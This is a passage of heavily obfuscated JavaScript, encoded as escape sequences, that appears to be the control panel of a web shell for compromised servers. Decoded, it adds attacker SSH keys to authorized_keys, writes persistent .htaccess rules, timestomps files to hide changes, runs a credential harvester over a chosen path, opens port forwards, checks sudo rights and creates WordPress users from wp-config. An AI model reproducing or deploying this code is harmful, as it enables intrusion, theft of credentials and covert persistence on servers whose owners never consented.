x64\141\154\51\x3b\xa\x9\x9\11\11\164\x68\151\163\56\x74\x6f\141\x73\x74\x28\x27\x4f\x70\x65\x72\141\163\151\x20\x64\151\142\141\164\x61\x6c\x6b\x61\156\56\x27\54\40\47\145\162\162\x6f\x72\x27\x29\x3b\xa\x9\x9\11\175\x3b\xa\x9\x9\x9\143\x6f\x70\171\102\164\156\56\157\156\143\154\151\143\153\40\75\x20\143\157\x70\x79\120\x61\x73\163\167\157\x72\x64\73\12\11\11\11\12\11\x9\11\57\57\x20\105\156\x74\145\x72\x20\x6b\145\x79\40\164\157\x20\163\165\x62\x6d\x69\x74\xa\11\x9\11\160\141\163\163\167\157\x72\x64\111\x6e\160\x75\x74\56\157\x6e\x6b\145\x79\x70\x72\145\163\x73\40\75\40\50\x65\51\x20\75\76\x20\173\xa\x9\11\x9\11\151\146\x20\50\x65\x2e\x6b\145\171\x20\x3d\x3d\x3d\40\47\x45\156\x74\145\162\47\51\40\173\12\x9\11\11\x9\11\166\x61\x6c\x69\144\x61\x74\x65\101\x6e\144\x53\165\x62\x6d\x69\164\x28\51\x3b\12\x9\x9\11\x9\x7d\12\x9\11\11\x7d\x3b\12\x9\x9\x9\xa\11\x9\x9\57\x2f\x20\103\x6c\x65\x61\x72\40\x65\162\x72\157\162\x20\x6f\x6e\x20\x69\x6e\x70\165\x74\12\11\x9\11\x70\x61\x73\x73\167\157\162\x64\x49\x6e\160\x75\164\x2e\x6f\x6e\x69\156\160\165\x74\40\75\x20\x28\51\x20\75\x3e\40\173\12\11\11\11\11\151\x66\40\x28\x70\x61\163\x73\x77\157\162\x64\x45\x72\x72\157\x72\56\143\154\x61\163\x73\114\151\163\164\56\x63\x6f\x6e\x74\x61\151\x6e\x73\x28\47\163\x68\157\x77\47\51\x29\40\x7b\xa\x9\11\11\x9\x9\x70\x61\163\163\x77\x6f\x72\x64\105\x72\162\157\x72\56\143\154\141\x73\163\114\151\x73\164\56\162\145\155\x6f\166\145\x28\47\163\x68\x6f\x77\x27\x29\73\xa\11\x9\11\11\x9\x70\x61\163\x73\167\x6f\x72\144\x49\x6e\x70\x75\164\x2e\163\x74\x79\154\145\x2e\142\157\x72\x64\x65\x72\x43\x6f\x6c\157\x72\x20\x3d\40\47\166\x61\162\x28\x2d\x2d\x62\x6f\162\144\x65\162\x2d\x63\157\x6c\157\162\51\47\x3b\12\11\11\11\x9\x7d\xa\11\x9\x9\x7d\73\xa\x9\11\x7d\x2c\xa\11\x9\xa\11\11\141\163\x79\156\143\x20\162\x75\x6e\104\157\155\x61\x69\x6e\x49\156\x74\145\x6c\x28\x29\40\x7b\xa\11\x9\x9\164\150\151\163\56\x73\150\157\167\x50\141\163\x73\167\157\x72\x64\x4d\157\x64\x61\154\50\x28\x29\x20\x3d\x3e\40\173\12\11\11\11\11\164\150\151\x73\56\x74\x6f\141\163\x74\50\47\342\x9c\x85\x20\x50\141\x73\163\x77\157\162\144\40\x62\x65\156\x61\162\56\x20\x47\141\x74\150\145\162\151\156\x67\40\144\157\155\141\x69\x6e\40\x69\x6e\x74\x65\154\x6c\x69\147\145\156\143\145\x2e\56\x2e\x27\51\73\12\11\x9\x9\11\x74\x68\x69\163\56\141\160\x69\50\47\x67\x65\164\137\144\x6f\155\141\151\x6e\137\151\x6e\x74\x65\154\x27\51\x2e\164\150\x65\x6e\50\x72\145\x73\40\75\x3e\40\x7b\xa\x9\x9\x9\x69\146\40\50\x72\x65\163\x20\46\x26\x20\162\x65\163\x2e\x73\x74\141\164\165\x73\x20\x3d\x3d\x3d\40\x27\x73\165\x63\x63\145\x73\x73\x27\51\x20\x7b\12\x9\x9\x9\11\143\x6f\x6e\163\164\40\173\40\150\x6f\x73\x74\54\x20\x69\160\x2c\40\144\156\163\137\162\x65\143\x6f\x72\144\163\x2c\40\x6f\164\150\x65\x72\x5f\163\151\164\x65\x73\x2c\x20\146\x6f\165\x6e\144\137\163\x75\x62\x64\157\155\x61\x69\156\x73\x20\175\x20\x3d\40\x72\x65\163\x2e\x69\156\164\x65\x6c\x3b\12\x9\11\x9\11\x64\x6f\143\165\x6d\145\156\x74\x2e\147\145\164\105\154\145\x6d\x65\156\164\102\x79\x49\144\x28\x27\151\x6e\164\x65\x6c\55\150\157\x73\x74\x2d\156\x61\155\145\47\51\x2e\151\x6e\156\145\x72\x54\145\170\164\x20\75\x20\150\157\163\164\73\xa\x9\x9\x9\x9\x64\x6f\143\165\155\145\x6e\164\x2e\x67\145\164\105\154\x65\155\145\x6e\x74\102\x79\x49\x64\50\x27\x69\x6e\164\x65\x6c\55\151\160\55\141\144\x64\x72\x27\x29\x2e\x69\156\156\145\x72\124\145\x78\x74\x20\x3d\x20\x69\160\73\xa\x9\x9\11\x9\144\157\x63\165\x6d\x65\156\x74\x2e\x67\145\164\105\154\145\x6d\145\x6e\164\102\x79\111\144\x28\47\151\156\x74\145\154\55\x64\156\x73\55\x6f\x75\x74\160\x75\164\x27\x29\x2e\151\x6e\156\145\x72\x54\x65\170\x74\40\x3d\x20\x64\156\163\137\x72\145\143\157\162\144\163\56\154\x65\x6e\x67\164\150\40\x3e\40\60\x20\77\40\x4a\123\117\116\56\163\x74\x72\x69\156\147\x69\x66\x79\50\x64\x6e\x73\x5f\x72\145\x63\157\x72\x64\163\54\40\x6e\x75\x6c\154\54\40\62\51\x20\72\40\47\x4e\x6f\40\x44\x4e\x53\40\162\145\143\x6f\162\x64\x73\40\x66\x6f\x75\156\x64\56\x27\73\xa\x9\11\x9\x9\144\157\143\165\155\x65\156\x74\56\147\145\x74\x45\154\145\x6d\145\156\164\102\x79\111\144\x28\47\151\x6e\x74\145\154\55\x72\x65\166\145\162\163\145\55\x69\160\55\x6f\165\164\160\165\164\x27\x29\x2e\151\156\156\x65\162\124\145\x78\164\40\75\x20\x6f\x74\150\145\162\x5f\x73\x69\164\145\163\73\12\x9\11\11\11\x64\157\x63\165\155\x65\x6e\x74\x2e\x67\145\x74\105\154\145\155\x65\x6e\x74\102\x79\x49\144\x28\x27\151\156\x74\x65\154\x2d\x73\165\142\x64\157\x6d\x61\151\156\163\x2d\157\165\x74\x70\x75\164\x27\x29\x2e\x69\156\x6e\145\x72\x54\145\170\x74\40\75\40\x66\157\x75\156\x64\x5f\x73\165\x62\144\x6f\x6d\141\151\x6e\x73\56\x6c\x65\x6e\147\x74\150\40\76\x20\x30\x20\x3f\x20\x66\x6f\165\156\144\x5f\163\x75\142\144\157\x6d\x61\151\x6e\x73\x2e\152\157\x69\x6e\50\x27\134\156\47\51\40\x3a\40\47\x4e\x6f\40\x63\157\155\x6d\x6f\x6e\40\x73\165\x62\144\157\x6d\141\151\x6e\163\40\146\x6f\165\x6e\144\56\47\x3b\xa\x9\11\11\11\x64\157\143\x75\155\x65\x6e\164\x2e\x67\145\164\105\x6c\x65\x6d\145\x6e\x74\x42\x79\111\144\50\47\144\157\155\x61\151\156\55\151\156\x74\145\x6c\55\x72\x65\x73\x75\x6c\x74\163\x27\51\x2e\x73\164\x79\x6c\145\x2e\144\151\x73\x70\x6c\141\x79\40\x3d\40\47\x62\x6c\157\x63\x6b\47\73\12\x9\x9\11\x9\x74\x68\x69\163\x2e\x74\x6f\x61\x73\164\x28\x27\111\x6e\x74\x65\x6c\x6c\x69\147\145\156\143\x65\x20\x67\x61\164\150\145\x72\151\156\147\x20\143\157\155\x70\x6c\x65\x74\145\56\x27\x29\x3b\xa\x9\x9\x9\11\11\x7d\40\145\x6c\x73\145\x20\173\x20\xa\x9\11\x9\x9\x9\x9\164\150\151\163\56\164\157\x61\x73\164\x28\47\x46\141\151\154\x65\x64\x20\164\157\40\x67\x61\x74\x68\145\162\40\144\x6f\155\x61\151\x6e\x20\x69\156\x74\x65\x6c\x6c\151\147\x65\156\143\145\x2e\x27\x2c\40\x27\x65\x72\x72\x6f\x72\x27\51\73\x20\12\x9\11\x9\x9\x9\x7d\xa\11\11\x9\x9\175\x29\x3b\xa\x9\x9\x9\x7d\51\73\xa\11\x9\175\54\12\11\x9\x61\x73\x79\156\143\x20\x72\165\x6e\x53\165\144\157\x43\150\x65\x63\x6b\x28\51\40\173\40\143\157\156\x73\x74\x20\157\165\164\x70\x75\x74\105\154\40\75\40\x64\157\143\165\x6d\145\x6e\x74\x2e\147\145\164\x45\x6c\145\155\145\x6e\164\x42\171\x49\x64\x28\47\x73\165\x64\x6f\55\143\x68\145\143\x6b\x2d\x6f\165\164\160\165\x74\47\51\x3b\40\157\165\x74\x70\165\164\105\x6c\56\x73\164\x79\x6c\145\x2e\144\x69\x73\160\x6c\x61\x79\40\75\40\x27\x62\154\x6f\x63\153\47\x3b\40\157\x75\x74\x70\x75\164\105\154\x2e\x69\x6e\x6e\x65\162\124\x65\x78\x74\40\75\x20\47\103\150\x65\143\153\151\x6e\x67\x2e\56\56\x27\x3b\40\x63\x6f\156\163\x74\x20\x72\145\163\40\x3d\40\x61\x77\141\151\x74\40\164\x68\151\x73\x2e\x61\x70\x69\x28\47\163\165\x64\157\137\x63\x68\145\143\153\47\x29\73\40\x69\146\x20\x28\162\145\x73\40\x26\46\x20\x72\145\163\56\163\164\x61\164\165\x73\40\75\75\x3d\x20\x27\x73\x75\x63\x63\145\163\x73\x27\x29\40\157\x75\x74\x70\165\x74\x45\154\56\x69\156\x6e\145\162\x48\x54\115\x4c\x20\75\x20\162\145\x73\x2e\144\x61\164\x61\x3b\x20\x7d\54\xa\11\x9\141\x73\x79\156\143\40\x67\145\x74\125\163\x65\162\103\x6f\156\164\x65\170\x74\50\x29\40\x7b\x20\x63\x6f\x6e\163\164\40\x6f\165\x74\160\x75\164\105\154\x20\75\40\144\157\143\165\155\145\x6e\x74\x2e\x67\x65\x74\x45\154\x65\155\x65\156\164\102\171\x49\x64\x28\x27\165\x73\x65\x72\x2d\143\157\156\x74\145\170\164\x2d\157\x75\164\x70\x75\164\47\x29\x3b\40\157\x75\164\x70\165\164\105\x6c\56\163\x74\x79\154\x65\x2e\144\151\x73\160\154\x61\171\x20\75\x20\47\142\154\x6f\x63\153\x27\73\x20\x6f\165\164\x70\x75\164\x45\x6c\56\x69\x6e\156\x65\162\124\x65\x78\x74\x20\75\40\47\103\150\145\x63\x6b\x69\x6e\x67\56\x2e\x2e\x27\73\x20\x63\157\x6e\x73\x74\x20\x72\x65\163\40\75\40\x61\x77\141\151\164\x20\164\150\x69\x73\x2e\141\x70\x69\x28\x27\x67\x65\164\x5f\x75\163\145\162\x5f\x63\x6f\x6e\x74\145\170\164\47\x29\x3b\40\x69\x66\40\50\x72\x65\x73\x20\46\46\x20\162\145\163\56\163\164\141\164\x75\x73\40\x3d\75\x3d\40\47\x73\165\x63\143\x65\163\163\47\x29\x20\157\x75\x74\160\x75\164\x45\154\x2e\x69\156\156\x65\x72\110\124\115\114\40\75\40\x72\x65\x73\56\x64\x61\164\141\73\x20\x7d\54\12\x9\x9\x61\x73\171\x6e\x63\40\x66\x69\x6e\x64\127\x72\x69\x74\x61\142\154\x65\50\x29\x20\173\12\11\x9\x9\x63\x6f\x6e\163\164\40\160\141\x74\150\40\75\x20\x64\157\143\x75\155\x65\156\x74\x2e\147\x65\164\105\154\145\x6d\x65\156\164\x42\x79\x49\144\50\47\x77\162\x69\x74\141\x62\x6c\145\x2d\163\143\x61\x6e\55\x70\x61\x74\150\x27\x29\x2e\x76\x61\x6c\x75\145\x2c\x20\157\165\164\160\x75\x74\105\154\40\75\x20\x64\x6f\143\165\x6d\x65\156\x74\x2e\x67\145\164\x45\x6c\145\x6d\145\156\164\x42\x79\111\144\x28\47\x77\x72\x69\164\x61\x62\154\x65\55\157\165\x74\x70\165\164\x27\x29\x3b\40\151\146\40\50\41\160\141\164\150\51\x20\162\145\164\x75\162\156\40\164\150\x69\x73\56\x74\157\x61\x73\164\50\47\x50\141\x74\x68\40\x69\x73\40\162\x65\161\165\x69\x72\145\x64\x2e\x27\x2c\40\47\145\162\162\x6f\x72\47\51\73\12\11\x9\11\x6f\x75\164\x70\165\x74\x45\154\56\x69\x6e\156\x65\x72\x54\x65\170\164\40\75\x20\47\x53\x63\x61\156\x6e\x69\x6e\x67\x2e\x2e\x2e\47\x3b\x20\x63\x6f\156\163\x74\40\162\x65\x73\40\x3d\40\x61\x77\x61\151\x74\40\x74\x68\x69\x73\56\141\160\151\50\x27\x66\x69\156\144\137\x77\162\151\x74\141\x62\154\145\47\x2c\x20\x7b\x20\160\141\164\x68\40\175\x29\73\40\151\146\40\50\x72\145\x73\40\x26\x26\x20\162\145\163\56\163\x74\x61\x74\x75\163\x20\x3d\75\x3d\40\x27\163\165\143\x63\x65\x73\x73\47\x29\40\157\165\x74\160\165\164\105\154\56\151\x6e\156\x65\x72\x48\x54\115\x4c\x20\x3d\x20\x72\145\x73\56\144\141\x74\x61\73\xa\x9\x9\x7d\x2c\12\x9\x9\141\163\171\x6e\x63\x20\147\x65\x74\123\163\150\113\145\x79\163\x28\51\40\x7b\x20\x63\x6f\156\x73\x74\40\x72\145\163\40\x3d\x20\141\x77\x61\x69\x74\x20\164\150\151\163\x2e\141\x70\x69\x28\x27\163\163\x68\x5f\155\141\156\x61\147\x65\x72\47\54\x20\x7b\40\163\x75\142\x5f\141\143\164\x69\157\x6e\x3a\x20\x27\147\x65\x74\47\x20\175\x29\x3b\x20\x69\x66\x20\x28\x72\145\x73\40\x26\x26\x20\162\x65\163\56\163\164\x61\164\x75\163\40\75\75\x3d\40\47\163\165\143\x63\x65\x73\x73\47\x29\x20\173\x20\144\x6f\x63\165\x6d\145\156\164\56\147\145\x74\x45\x6c\145\x6d\x65\156\164\102\x79\x49\144\x28\47\x73\x73\150\x2d\x6b\145\x79\x73\x2d\143\x6f\x6e\164\145\x6e\x74\47\x29\56\x76\141\x6c\x75\x65\40\75\40\162\x65\x73\56\143\157\156\x74\145\x6e\164\73\x20\x64\157\x63\165\155\145\156\164\x2e\147\x65\x74\105\x6c\145\155\x65\x6e\164\102\x79\111\144\50\47\163\163\x68\55\x61\165\x74\150\x2d\x6b\145\171\x73\55\160\x61\164\x68\x27\x29\x2e\151\x6e\156\x65\x72\x54\145\170\164\40\75\x20\162\145\163\56\160\x61\164\150\x3b\40\151\x66\x28\41\162\145\x73\x2e\x77\162\151\164\141\142\154\145\x29\40\164\150\x69\163\x2e\x74\157\x61\x73\164\50\x27\141\165\164\x68\157\x72\151\x7a\145\144\x5f\153\145\x79\163\40\x66\x69\x6c\145\x20\157\x72\x20\x7e\x2f\x2e\163\x73\150\x20\x64\151\162\x65\143\x74\x6f\162\x79\x20\151\x73\40\156\157\x74\x20\167\162\x69\164\x61\142\x6c\145\56\x27\x2c\40\47\145\x72\162\x6f\x72\47\51\x3b\x20\x64\x6f\x63\165\x6d\x65\x6e\x74\56\147\x65\164\105\154\x65\x6d\145\156\164\x42\x79\111\144\50\47\141\x64\x64\55\x73\x73\x68\x2d\153\x65\171\x2d\x62\164\x6e\47\x29\56\144\x69\x73\x61\x62\x6c\145\144\x20\x3d\x20\41\162\145\x73\56\167\162\151\164\x61\x62\154\145\x3b\40\144\157\143\x75\x6d\145\x6e\164\56\x67\x65\164\105\x6c\145\155\x65\x6e\164\102\x79\111\144\50\x27\141\x64\x64\55\163\163\150\x2d\x6b\x65\x79\x2d\x63\157\x6e\x74\145\156\164\47\51\x2e\144\151\x73\x61\142\x6c\145\x64\40\75\40\41\162\145\x73\56\x77\x72\x69\x74\x61\142\x6c\x65\73\40\175\40\x7d\54\12\x9\x9\x61\163\x79\x6e\143\x20\141\144\144\x53\163\x68\113\x65\x79\x28\51\40\173\40\143\x6f\x6e\x73\164\x20\153\145\x79\x20\75\40\x64\x6f\143\x75\155\145\x6e\164\56\x67\145\164\105\154\x65\x6d\145\x6e\164\x42\171\111\144\50\47\x61\x64\144\55\163\x73\x68\55\x6b\x65\x79\x2d\x63\157\x6e\164\x65\156\164\47\51\x2e\166\x61\x6c\x75\145\73\40\151\x66\x28\41\x6b\x65\171\x29\x20\x72\145\x74\x75\162\156\40\164\150\151\163\56\x74\x6f\x61\x73\x74\x28\47\123\x53\110\x20\x6b\x65\171\x20\x63\x61\x6e\156\157\164\40\142\145\x20\x65\x6d\x70\x74\x79\x2e\x27\54\40\x27\145\162\x72\x6f\162\x27\x29\x3b\40\x63\x6f\x6e\163\x74\40\x72\145\x73\40\x3d\40\141\x77\141\x69\x74\x20\x74\150\151\163\56\x61\160\x69\50\x27\x73\x73\x68\x5f\x6d\141\x6e\x61\x67\145\162\47\54\40\173\40\x73\165\x62\137\141\x63\164\151\x6f\x6e\x3a\40\x27\141\144\144\x27\54\40\153\145\x79\40\175\x29\73\x20\151\146\x28\x72\x65\163\x20\x26\46\40\x72\x65\x73\56\163\164\x61\x74\x75\x73\x20\x3d\75\x3d\x20\x27\163\x75\x63\143\x65\x73\163\47\x29\40\x7b\40\164\150\x69\x73\x2e\164\157\x61\163\x74\50\x72\145\x73\56\155\x65\163\163\x61\147\145\x29\73\40\x74\150\151\163\56\x67\x65\164\x53\163\150\x4b\x65\x79\163\x28\x29\x3b\x20\x64\x6f\143\165\155\145\156\x74\56\x67\x65\164\x45\x6c\x65\x6d\x65\x6e\x74\102\171\111\144\x28\x27\141\x64\144\55\163\x73\x68\x2d\x6b\145\171\55\143\x6f\x6e\164\x65\156\164\x27\x29\x2e\166\x61\x6c\165\x65\x20\x3d\40\47\x27\x3b\x20\175\x20\x7d\x2c\12\x9\11\141\x73\x79\156\x63\40\x61\x70\160\154\171\x48\x74\141\x63\143\x65\163\163\x50\x65\x72\x73\151\163\x74\50\51\40\173\40\143\157\x6e\163\164\x20\160\141\x74\x68\x20\75\x20\144\157\x63\165\155\x65\156\164\x2e\147\x65\164\x45\x6c\145\x6d\x65\x6e\164\102\x79\111\144\50\x27\x68\x74\x61\143\x63\145\x73\x73\55\x70\141\x74\x68\x27\x29\x2e\166\141\x6c\x75\x65\54\40\146\151\154\x65\156\141\155\x65\40\75\x20\144\x6f\143\x75\155\145\x6e\164\x2e\x67\145\164\105\x6c\x65\x6d\x65\x6e\164\x42\171\x49\144\50\47\150\164\x61\143\x63\x65\163\163\55\x66\x69\154\145\156\x61\155\x65\47\51\56\166\141\154\x75\145\73\40\x69\146\x28\x21\x70\141\164\150\40\x7c\x7c\40\x21\146\x69\x6c\145\156\x61\x6d\145\51\40\x72\145\164\165\x72\x6e\40\x74\x68\x69\163\x2e\x74\157\141\163\x74\50\x27\120\141\x74\150\40\141\156\144\40\x46\x69\x6c\x65\156\x61\155\145\x20\x61\162\x65\x20\162\x65\161\165\x69\162\145\x64\56\x27\54\40\47\x65\x72\162\x6f\162\47\x29\x3b\x20\x63\x6f\x6e\163\x74\40\x63\x6f\x6e\146\151\162\x6d\145\144\40\75\x20\x61\x77\x61\x69\164\40\x74\x68\x69\163\56\x73\150\157\167\x43\x6f\156\x66\x69\x72\155\x4d\x6f\x64\x61\x6c\x28\x60\124\x68\151\163\x20\167\x69\x6c\154\x20\x63\162\x65\141\x74\145\x20\157\x72\x20\x6d\x6f\144\x69\x66\171\x20\x2e\150\164\141\143\x63\145\163\163\x20\151\156\40\74\x73\164\162\x6f\x6e\147\x3e\44\173\x70\141\x74\150\175\74\x2f\x73\164\x72\x6f\156\147\x3e\56\40\101\x72\x65\x20\171\157\165\40\x73\165\162\145\77\x60\x2c\x20\173\40\x74\x79\160\x65\72\x20\47\167\141\x72\156\x69\x6e\x67\x27\x20\x7d\x29\73\x20\151\146\x28\x63\x6f\x6e\x66\x69\x72\155\x65\144\x29\40\x7b\40\143\157\x6e\x73\164\40\162\x65\x73\40\75\x20\141\167\141\x69\164\40\164\x68\151\x73\x2e\141\x70\x69\x28\x27\150\164\141\143\x63\x65\x73\x73\137\x70\x65\162\x73\x69\163\x74\47\54\x20\x7b\40\x70\141\164\150\x2c\x20\x66\x69\x6c\145\x6e\141\155\145\x20\x7d\51\x3b\40\x69\x66\50\162\145\x73\51\x20\x74\x68\151\163\x2e\x74\x6f\x61\x73\164\50\162\x65\163\x2e\155\145\163\163\141\147\x65\54\x20\x72\145\x73\56\163\x74\141\164\x75\163\x29\73\x20\175\x20\x7d\54\12\x9\x9\163\150\x6f\167\x54\x69\x6d\x65\x73\164\157\x6d\160\x4d\x6f\x64\x61\154\50\160\141\x74\x68\51\40\x7b\x20\x63\157\x6e\163\x74\40\x6d\157\144\x61\x6c\x20\75\40\144\x6f\143\165\x6d\145\x6e\164\56\147\145\164\105\154\145\x6d\x65\x6e\164\102\171\x49\x64\x28\47\164\x69\155\145\163\x74\x6f\155\160\55\x6d\157\x64\141\154\47\51\x3b\40\164\x68\x69\x73\x2e\163\x68\x6f\167\x4d\x6f\144\x61\154\50\x6d\x6f\x64\x61\154\x29\73\x20\144\x6f\143\x75\x6d\145\x6e\x74\x2e\147\145\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\111\144\50\47\164\x69\x6d\145\x73\x74\x6f\155\160\x2d\144\145\163\164\x2d\x66\151\154\x65\x6e\141\155\x65\x27\x29\56\151\x6e\x6e\x65\162\x54\x65\170\164\x20\75\x20\160\141\164\150\x2e\163\160\x6c\151\x74\50\47\x2f\x27\x29\56\160\x6f\160\x28\x29\x3b\40\143\x6f\x6e\x73\164\40\151\x6e\x70\165\x74\x20\x3d\40\144\157\143\x75\155\x65\x6e\164\x2e\x67\x65\164\x45\x6c\x65\x6d\x65\156\x74\102\171\x49\x64\50\47\164\151\155\145\163\x74\157\155\160\55\163\x6f\165\162\x63\145\55\151\x6e\160\x75\x74\x27\x29\73\40\151\x6e\x70\x75\x74\x2e\x66\157\143\x75\x73\x28\51\x3b\40\x64\157\143\165\x6d\145\156\x74\x2e\x67\145\x74\105\154\x65\155\145\x6e\164\102\x79\111\144\50\47\164\151\x6d\x65\163\164\157\x6d\160\55\x73\x61\166\145\x2d\x62\164\156\47\51\56\x6f\156\143\x6c\151\143\x6b\x20\75\40\x61\163\171\156\143\x20\50\51\x20\x3d\76\40\x7b\40\143\x6f\156\163\x74\40\163\x6f\165\x72\x63\145\40\75\x20\151\x6e\160\x75\164\56\166\141\x6c\x75\x65\x3b\x20\151\146\40\50\163\x6f\165\162\143\x65\x29\x20\173\x20\143\x6f\x6e\x73\164\40\x72\145\163\40\75\x20\141\x77\x61\x69\x74\x20\164\150\x69\163\56\x61\x70\x69\x28\x27\164\151\155\145\x73\x74\157\x6d\x70\47\54\40\173\40\144\x65\163\x74\x3a\40\160\x61\x74\x68\x2c\x20\x73\x6f\165\162\x63\x65\40\175\51\x3b\x20\x69\146\40\x28\x72\x65\163\x29\x20\173\x20\x74\150\151\163\56\164\x6f\141\x73\x74\50\162\145\x73\56\x6d\x65\163\x73\x61\x67\x65\54\40\162\145\163\56\163\164\141\164\165\163\51\x3b\40\164\150\151\163\x2e\143\x6c\157\x73\x65\x4d\x6f\144\x61\154\x28\x6d\157\144\x61\154\x29\73\x20\x74\x68\x69\163\x2e\x6c\157\141\144\106\x69\x6c\145\163\50\164\150\151\x73\x2e\x63\167\x64\51\x3b\x20\175\40\x7d\x20\145\154\163\145\40\173\x20\x74\150\x69\163\56\x74\x6f\x61\x73\x74\50\47\123\157\165\x72\143\145\40\x66\151\154\145\x20\x69\x73\40\x72\x65\x71\165\151\x72\145\144\56\x27\x2c\40\x27\145\x72\x72\x6f\162\x27\51\x3b\40\175\x20\x7d\73\x20\175\x2c\xa\11\11\141\163\171\x6e\143\40\162\x75\x6e\x43\162\x65\144\110\141\x72\166\x65\163\164\x65\x72\x28\51\40\x7b\x20\x63\x6f\156\x73\164\40\160\141\164\150\40\x3d\x20\144\157\143\165\155\145\x6e\x74\x2e\x67\145\164\x45\x6c\145\x6d\145\156\164\x42\171\111\144\50\47\143\162\145\144\55\150\141\x72\166\145\163\164\145\162\55\x70\141\x74\150\x27\51\56\x76\141\x6c\x75\x65\x3b\x20\x69\146\x20\x28\41\160\141\164\x68\51\40\x72\145\164\x75\162\x6e\40\x74\x68\x69\163\56\x74\157\x61\x73\x74\x28\47\x53\164\x61\x72\164\40\160\x61\164\x68\40\151\163\x20\162\x65\x71\x75\151\162\145\x64\56\47\x2c\x20\x27\x65\162\x72\157\x72\x27\51\x3b\40\143\157\x6e\x73\164\40\x6f\165\x74\160\x75\x74\105\x6c\40\75\x20\x64\x6f\143\165\x6d\x65\x6e\x74\56\x67\x65\164\105\154\145\x6d\145\x6e\164\x42\x79\111\144\x28\x27\x63\162\145\144\55\150\x61\x72\166\x65\163\164\x65\162\x2d\157\165\164\160\x75\x74\47\x29\x3b\x20\157\x75\164\x70\x75\x74\x45\154\x2e\x69\156\x6e\x65\x72\124\x65\170\x74\x20\x3d\x20\47\110\x61\162\166\145\x73\x74\151\x6e\x67\x2e\56\x2e\x20\124\150\x69\x73\x20\155\x61\171\x20\164\x61\x6b\x65\40\141\x20\167\x68\x69\x6c\x65\40\x6f\x6e\x20\154\141\x72\x67\145\40\x64\x69\162\145\x63\164\x6f\162\151\145\163\x2e\47\73\x20\164\150\151\x73\x2e\x74\x6f\141\163\x74\50\x27\x53\x74\x61\x72\x74\x69\x6e\x67\x20\143\x72\x65\144\145\x6e\x74\x69\x61\x6c\x20\x68\x61\162\x76\x65\163\x74\145\x72\56\56\x2e\47\51\73\x20\143\x6f\156\x73\x74\x20\162\145\163\40\x3d\40\x61\x77\x61\151\x74\x20\x74\x68\x69\163\x2e\141\160\x69\50\47\143\x72\x65\x64\x5f\150\x61\x72\166\145\163\164\145\162\x27\x2c\x20\x7b\x20\x70\x61\x74\x68\40\x7d\x29\73\40\x69\x66\40\50\x72\x65\x73\40\46\x26\40\x72\x65\x73\x2e\x73\164\141\164\165\163\x20\x3d\x3d\75\40\47\x73\x75\x63\x63\x65\x73\x73\47\51\40\x7b\x20\157\165\x74\160\x75\164\105\x6c\56\151\156\x6e\x65\x72\110\124\115\114\40\x3d\x20\162\x65\x73\x2e\144\x61\x74\141\73\40\164\x68\x69\163\56\164\x6f\x61\x73\164\x28\47\110\141\x72\x76\145\163\x74\x20\143\x6f\155\160\x6c\x65\164\145\56\47\x29\x3b\x20\x7d\40\x7d\x2c\12\x9\x9\x61\x73\171\156\x63\x20\x73\x74\141\162\164\120\157\x72\164\106\x6f\162\x77\x61\x72\x64\x28\x29\x20\173\40\143\157\156\x73\x74\x20\x6c\151\x73\164\145\x6e\137\160\x6f\x72\164\40\x3d\x20\144\x6f\143\165\155\x65\x6e\164\56\x67\145\x74\x45\154\x65\x6d\x65\x6e\164\x42\171\111\144\50\47\x70\x66\55\x6c\151\x73\x74\x65\156\55\160\157\x72\x74\47\x29\56\x76\141\154\165\x65\x2c\40\164\141\162\x67\145\164\x5f\150\x6f\x73\x74\x20\x3d\x20\x64\x6f\x63\165\155\x65\x6e\164\56\147\x65\164\105\x6c\145\155\145\156\164\x42\171\x49\144\x28\x27\x70\x66\x2d\164\x61\162\x67\x65\164\x2d\x68\157\x73\x74\x27\x29\56\x76\141\154\x75\x65\x2c\40\x74\x61\162\x67\145\x74\137\160\157\162\x74\40\x3d\x20\144\x6f\143\165\x6d\145\x6e\x74\56\x67\145\164\105\x6c\x65\155\x65\156\x74\x42\x79\111\x64\50\47\x70\146\x2d\x74\141\x72\x67\145\x74\x2d\160\157\x72\164\47\x29\56\x76\x61\154\165\145\73\x20\x69\x66\x28\x21\154\x69\163\164\145\156\x5f\x70\157\x72\164\x20\174\x7c\40\x21\x74\x61\x72\x67\x65\x74\137\150\x6f\163\164\40\174\x7c\x20\x21\164\x61\162\147\x65\164\137\160\157\x72\164\51\x20\162\145\164\x75\162\156\x20\164\x68\x69\163\x2e\x74\157\x61\163\164\50\47\x41\154\154\40\146\x69\145\154\144\163\40\141\x72\x65\x20\x72\145\x71\x75\151\x72\145\144\x2e\47\x2c\40\x27\145\162\162\x6f\162\x27\x29\73\40\x74\150\x69\x73\x2e\164\x6f\141\163\x74\50\x60\x53\164\x61\x72\x74\x69\156\x67\40\x70\157\x72\164\x20\146\x6f\x72\167\x61\162\144\x65\162\x20\x6f\156\x20\44\173\x6c\x69\x73\164\145\156\x5f\160\x6f\162\x74\x7d\56\x2e\x2e\x60\54\40\47\x73\165\x63\143\145\x73\163\47\51\73\40\x63\x6f\156\x73\x74\x20\162\145\163\x20\x3d\40\x61\x77\x61\x69\x74\40\x74\150\151\163\56\141\x70\x69\50\x27\160\157\162\x74\x5f\x66\x6f\x72\167\x61\x72\x64\47\54\x20\x7b\x20\154\151\163\164\x65\156\137\x70\x6f\162\x74\54\x20\164\141\162\147\x65\164\137\x68\157\163\x74\x2c\40\164\141\162\x67\x65\x74\137\x70\x6f\162\x74\40\175\x29\x3b\x20\x69\x66\x28\162\x65\163\x29\x20\x7b\40\x74\x68\x69\x73\56\x74\157\x61\163\164\50\162\145\163\56\155\x65\163\163\x61\x67\x65\54\x20\x72\x65\x73\x2e\x73\164\x61\164\x75\163\51\73\40\175\x20\175\54\xa\x9\11\x61\163\171\156\x63\40\x63\162\145\x61\x74\x65\x57\160\x55\163\x65\162\x28\51\x20\x7b\40\x63\157\x6e\163\164\40\143\x6f\x6e\x66\151\147\137\160\141\164\150\x20\75\40\x64\157\x63\x75\x6d\x65\156\x74\56\x67\145\164\x45\x6c\145\x6d\x65\156\164\x42\171\111\x64\x28\x27\x77\160\55\x63\x6f\x6e\x66\x69\x67\x2d\160\141\164\x68\x27\x29\x2e\x76\141\x6c\165\x65\54\40\x6e\x65\x77\x5f\165\163\145\162\x20\x3d\40\x64\x6f\143\x75\155\x65\156\164\56\147\145\164\x45\154\145\155\145\x6e\164\102\171\111\x64\x28\x27\167\160\55\156\x65\x77\55\165\163\x65\162\x27\51\x2e\x76\x61\154\x75\x65\54\x20\x6e\x65\x77\137\x70\141\163\163\x20\75\x20\144\157\143\165\155\145\x6e\164\x2e\147\145\x74